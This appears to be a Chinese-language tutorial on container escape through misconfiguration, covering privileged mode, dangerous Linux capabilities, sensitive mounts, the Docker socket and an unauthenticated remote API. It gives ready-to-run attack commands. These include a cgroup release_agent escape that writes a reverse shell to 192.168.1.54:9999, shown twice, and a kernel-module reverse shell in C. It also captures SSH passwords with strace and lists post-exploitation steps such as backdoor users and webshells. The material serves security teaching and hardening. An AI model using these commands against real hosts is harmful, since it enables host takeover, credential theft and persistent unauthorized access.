容器逃逸——配置不当
字数 1237 2025-08-29 22:41:44

容器逃逸——配置不当详解

0x00 引言

容器逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的过程。当容器权限配置不当或挂载敏感目录时,这些错误配置为攻击者提供了利用机会。本文将详细分析因配置不当导致的容器逃逸技术。

0x01 特权模式逃逸

1. Linux Capabilities机制

Capabilities是一种细粒度的权限控制机制,将root超级权限拆分为多个独立的能力模块,允许进程按需获取特定权限而非完整的root权限。

  • 查看容器拥有的Capabilities:
    grep Cap /proc/1/status
    capsh --print
    

2. Privileged模式

当容器以--privileged=true参数运行时,容器与宿主机共享内核,可直接访问宿主机设备和内核。

检测方法

cat /proc/self/status | grep CapEff
# 若值为0000003fffffffff或0000001fffffffff则处于特权模式

利用方法

  1. 查看宿主机磁盘信息:
    fdisk -l
    
  2. 挂载宿主机文件系统:
    mkdir /tmp/test
    mount /dev/sda1 /tmp/test
    

后利用技术

  • 写入宿主机公私钥
  • 写入宿主机计划任务
  • 写入后门用户
  • 搜索宿主机敏感文件
  • 写入WebShell

3. CAP_SYS_ADMIN

允许执行挂载文件系统、修改系统时钟等操作。

利用方法

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
echo "$host_path/breakout" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/192.168.1.54/9999 0>&1' >> /breakout
chmod a+x /breakout
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

4. CAP_SYS_PTRACE

允许调试追踪任意进程,可读取或修改其他进程内存。

利用方法

  1. 抓取SSH密码:
    strace -f -F -p `ps aux | grep "sshd -D" | grep -v grep | awk {'print $2'}` -t -e trace=read,write -s 32 2 > sshd.log
    grep -E 'read\(6, ".+\\0\\0\\0\\.+"' sshd.log
    
  2. 进程注入获取Shell

5. CAP_SYS_MODULE

允许加载或卸载内核模块。

利用方法

  1. 创建revshell.c:
    #include <linux/kmod.h>
    #include <linux/module.h>
    MODULE_LICENSE("GPL");
    char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/host/port 0>&1", NULL};
    static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
    static int __init reverse_shell_init(void) {
      return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    }
    static void __exit reverse_shell_exit(void) {
      printk(KERN_INFO "Exiting\n");
    }
    module_init(reverse_shell_init);
    module_exit(reverse_shell_exit);
    
  2. 编译并加载模块

6. CAP_DAC_READ_SEARCH(Shocker)

允许绕过文件读权限检查。

利用方法

  1. 下载并编译shocker.c
  2. 执行生成的a.out读取宿主机文件

0x02 不安全的挂载

1. Procfs挂载

procfs是Linux虚拟文件系统,展示系统内核和进程信息。

利用方法

  1. 挂载宿主机core_pattern:
    docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04 bash
    
  2. 利用core_pattern执行命令

2. CGroup挂载

劫持宿主机CGroup的release_agent文件实现逃逸。

利用方法

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
echo "$host_path/breakout" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/192.168.1.54/9999 0>&1' >> /breakout
chmod a+x /breakout
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

3. Docker Socket挂载

挂载/var/run/docker.sock可控制宿主机Docker Daemon。

利用方法

  1. 创建特权容器:
    docker -H unix:///var/run/docker.sock run --privileged -it --rm -v /:/host ubuntu bash
    
  2. 挂载宿主机根目录

4. lxcfs挂载

当容器挂载了lxcfs目录时可能包含可写的cgroup目录。

0x03 其他风险点

1. 信息泄漏

搜索容器中的敏感信息:

  • 环境变量
  • 凭证信息
  • 配置文件
  • Dockerfile和docker-compose.yaml

2. Docker提权

非root用户在docker组中可获取root权限:

docker run -v /:/host -it ubuntu chroot /host bash

3. Remote API未授权

开启远程API访问可能导致未授权访问:

curl http://x.x.x.x:2375/info
docker -H tcp://x.x.x.x:2375 info

利用方法

  1. 创建特权容器
  2. 挂载宿主机根目录

4. 容器安全扫描

推荐扫描工具:

  • Clair
  • SlimToolkit
  • Anchore Engine

参考资源

  1. Linux Capabilities利用指南
  2. Docker容器逃逸方法论
  3. 容器逃逸检测指南
容器逃逸——配置不当详解 0x00 引言 容器逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的过程。当容器权限配置不当或挂载敏感目录时,这些错误配置为攻击者提供了利用机会。本文将详细分析因配置不当导致的容器逃逸技术。 0x01 特权模式逃逸 1. Linux Capabilities机制 Capabilities是一种细粒度的权限控制机制,将root超级权限拆分为多个独立的能力模块,允许进程按需获取特定权限而非完整的root权限。 查看容器拥有的Capabilities: 2. Privileged模式 当容器以 --privileged=true 参数运行时,容器与宿主机共享内核,可直接访问宿主机设备和内核。 检测方法 : 利用方法 : 查看宿主机磁盘信息: 挂载宿主机文件系统: 后利用技术 : 写入宿主机公私钥 写入宿主机计划任务 写入后门用户 搜索宿主机敏感文件 写入WebShell 3. CAP_ SYS_ ADMIN 允许执行挂载文件系统、修改系统时钟等操作。 利用方法 : 4. CAP_ SYS_ PTRACE 允许调试追踪任意进程,可读取或修改其他进程内存。 利用方法 : 抓取SSH密码: 进程注入获取Shell 5. CAP_ SYS_ MODULE 允许加载或卸载内核模块。 利用方法 : 创建revshell.c: 编译并加载模块 6. CAP_ DAC_ READ_ SEARCH(Shocker) 允许绕过文件读权限检查。 利用方法 : 下载并编译shocker.c 执行生成的a.out读取宿主机文件 0x02 不安全的挂载 1. Procfs挂载 procfs是Linux虚拟文件系统,展示系统内核和进程信息。 利用方法 : 挂载宿主机core_ pattern: 利用core_ pattern执行命令 2. CGroup挂载 劫持宿主机CGroup的release_ agent文件实现逃逸。 利用方法 : 3. Docker Socket挂载 挂载/var/run/docker.sock可控制宿主机Docker Daemon。 利用方法 : 创建特权容器: 挂载宿主机根目录 4. lxcfs挂载 当容器挂载了lxcfs目录时可能包含可写的cgroup目录。 0x03 其他风险点 1. 信息泄漏 搜索容器中的敏感信息: 环境变量 凭证信息 配置文件 Dockerfile和docker-compose.yaml 2. Docker提权 非root用户在docker组中可获取root权限: 3. Remote API未授权 开启远程API访问可能导致未授权访问: 利用方法 : 创建特权容器 挂载宿主机根目录 4. 容器安全扫描 推荐扫描工具: Clair SlimToolkit Anchore Engine 参考资源 Linux Capabilities利用指南 Docker容器逃逸方法论 容器逃逸检测指南